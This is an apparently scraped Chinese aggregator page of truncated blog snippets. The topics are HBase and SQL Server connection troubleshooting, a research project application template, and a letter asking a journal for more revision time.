连接不到聊天服务器 内容精选 换一换 访问CloudTable的HBase连接不上&#xff0c;出现如下所示的错误信息&#xff1a;出现该问题的可能原因为&#xff1a;网络访问不通。由于CloudTable的链接地址是内网地址&#xff0c;不是公网地址&#xff0c;不能在公网环境直接连接CloudT…

[SQL Server无法连接到服务器]标题: 连接到服务器 --------- 无法连接到 ****

标题: 连接到服务器 ---------- 无法连接到 **** 现象&#xff1a; 电脑安装好SQL可以用&#xff0c;之后&#xff08;过了几天&#xff0c;或者不久&#xff09;就出现如题错误&#xff0c;无法连接。因为此问题笔者也已重装过多次该软件…… 原因&#xff1a; 每次SQL Serve…

计算机科学研究课题申报书,教育科学研究课题立项申请书范文

教育科学研究课题立项申请书范文 分类&#xff1a;课题研究 发表时间&#xff1a;2020-04-17 16:23 教育科学研究课题立项申请书范文 教育科学研究课题立项申请书&#xff0c;都有规定的表格的&#xff0c;你需要向哪个课题管理部门递交&#xff0c;就需要向谁索要&#xff0c;…

SCI论文修稿时间延长信的申请格式-论文投稿经验总结-第4期

一、背景 如果SCI论文给定的修改周期太短&#xff0c;如何写信给期刊编辑部申请延长论文修改时间呢&#xff1f;如果不想麻烦导师&#xff0c;能否用学生(第一作者)自己的邮箱去联系编辑部呢&#xff1f;这篇博文&#xff0c;将给出答案。 二、论文修稿时间延长信格式及其回复…